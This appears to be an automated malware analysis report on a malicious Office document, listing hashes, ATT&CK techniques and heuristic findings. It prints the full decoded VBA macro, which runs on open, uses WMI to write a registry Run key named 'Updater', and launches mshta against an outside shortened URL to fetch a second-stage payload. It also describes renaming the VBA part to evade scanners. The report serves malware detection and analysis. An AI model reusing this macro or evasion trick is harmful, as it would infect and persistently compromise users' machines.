Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a7207807ae02df0f…

MALICIOUS

Office (OOXML)

7.3 KB First seen: 2021-06-20
MD5: 9fd7f1f507817297b9e74accedbcdef9 SHA-1: 244d58d768da97a9b7ff7b9ba06018991daabd51 SHA-256: a7207807ae02df0fc11f04e2e7f4322985fb8fb86306c4bb056658554c9728f1
150 Risk Score

Malware Insights

MITRE ATT&CK
T1547.001 Registry Run Keys / Startup Folder T1059.005 Visual Basic

The OOXML file contains a VBA macro that executes upon opening (Auto_Open). This macro uses GetObject to interact with WMI and writes a registry Run key. The value written to the Run key is a reconstructed URL: "https://www.bitly.com/haidhwiadanjwddaiys", which is intended to download and execute a second-stage payload.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/.bin)
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    mamammakdkd = "."
Set kaosdkqowkdok = GetObject("winmgmts:\\" & mamammakdkd & "\root\default:StdRegProv")
kdkaskllll = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Attribute VB_Name = "Module1"
Sub Auto_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.bitly.com/haidhwiadanjwddaiys In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 632 bytes
SHA-256: 49eaaf492052fd07ef1b2e8e7bfcfb544e220e8a47c32c3e7bca3fdbcb5b9e3d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub Auto_Open()

r = StrReverse("s")
m = StrReverse("M")
p = StrReverse("H")
tu = StrReverse("T")
x = StrReverse("""")
ha = StrReverse("a")
culik = StrReverse("""")
calc = x + m + r + p + tu + ha + culik
Const polooood = &H80000001
mamammakdkd = "."
Set kaosdkqowkdok = GetObject("winmgmts:\\" & mamammakdkd & "\root\default:StdRegProv")
kdkaskllll = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
hotagotamota = "Updater"
pipatatutupu = calc + """https://www.bitly.com/haidhwiadanjwddaiys"""
kaosdkqowkdok.SetStringValue polooood, kdkaskllll, hotagotamota, pipatatutupu

End Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/.bin 13312 bytes
SHA-256: a4c92ced407ad3a81237c2ca178a77f0c8987819fa7e1c8e22e56a7277fdb909

Open this report in the interactive analyzer, or submit your own file for analysis.